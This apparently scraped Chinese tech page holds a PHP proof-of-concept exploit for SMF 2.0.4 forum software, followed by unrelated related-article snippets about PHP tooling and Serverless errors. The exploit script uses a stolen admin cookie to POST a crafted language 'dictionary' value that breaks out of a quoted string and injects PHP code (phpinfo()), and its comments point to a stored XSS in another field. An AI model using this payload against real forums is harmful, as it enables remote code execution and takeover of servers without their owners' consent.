SMF 2.0.4 PHP Code Injection

简介:
<?php

// proof of concept that latest SMF (2.0.4) can be exploited by php injection.

// payload code must escape from \', so you should try with something like that:
// p0c\';phpinfo();// as a 'dictionary' value. Same story for locale parameter.
// For character_set - another story, as far as I remember, because here we have
// a nice stored xss. ;)

// 21/04/2013 
// http://HauntIT.blogspot.com

// to successfully exploit smf 2.0.4 we need correct admin's cookie:
$cookie = 'SMFCookie956=allCookiesHere';
$ch = curl_init('http://smf_2.0.4/index.php?action=admin;area=languages;sa=editlang;lid=english');

curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_POST, 1); // send as POST (to 'On')
curl_setopt($ch, CURLOPT_POSTFIELDS, "character_set=en&locale=helloworld&dictionary=p0c\\';phpinfo();//&spelling=american&ce0361602df1=c6772abdb6d5e3f403bd65e3c3c2a2c0&save_main=Save");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$page = curl_exec($ch);

echo 'PHP code:<br>'.$page;

curl_close($ch); // to close 'logged-in' part

?>
目录
相关文章
|
4月前
|
Java 中间件 Serverless
Serverless 应用引擎操作报错合集之在阿里函数计算中,云函数怎么一直报错Function instance exited unexpectedly(code 1, message:operation not permitted) with start command 'php server.php '.如何解决
Serverless 应用引擎(SAE)是阿里云提供的Serverless PaaS平台,支持Spring Cloud、Dubbo、HSF等主流微服务框架,简化应用的部署、运维和弹性伸缩。在使用SAE过程中,可能会遇到各种操作报错。以下是一些常见的报错情况及其可能的原因和解决方法。
106 2
|
移动开发 PHP
Visual Studio Code中的PHP提示错误:End of line character is invalid
Visual Studio Code中的PHP提示错误:End of line character is invalid
111 0
|
小程序 JavaScript PHP
基于PHP方法,微信公众号小程序获取code,access_token,openid,用户信息
基于PHP方法,微信公众号小程序获取code,access_token,openid,用户信息
268 0
|
JavaScript 前端开发 IDE
VSCode插件 code runner执行PHP,JavaScript,Python
VSCode插件 code runner执行PHP,JavaScript,Python
728 0
|
安全 PHP C++
VS Code配置PHP XDebug
VS Code配置PHP XDebug
387 0
VS Code配置PHP XDebug
|
JavaScript 前端开发 PHP
VSCode插件 code runner执行PHP,JavaScript,Python
VSCode插件 code runner执行PHP,JavaScript,Python
175 0
如何使用Visual Studio Code调试PHP CLI应用和Web应用
在按照Jerry的公众号文章 什么?在SAP中国研究院里还需要会PHP开发? 进行XDebug在本地的配置之后,如果想使用Visual Studio Code而不是Eclipse来调试PHP应用,步骤也比较简单。
|
PHP C++
visual studio code 安装 PHP IntelliSense 报错
vs code (版本1.28)安装完PHP IntelliSense , 报错 :PHP executable not found. Install PHP 7 and add it to your PATH or set the php.
6207 0
TP5使用二维码PHP QR Code生成带LOGO和不带LOGO的二维码
首先下载这个类:http://phpqrcode.sourceforge.net/ 然后,把下载的文件放到thinkphp/library/Vendor下面,(注意:Vendor的首字母大写。
2071 0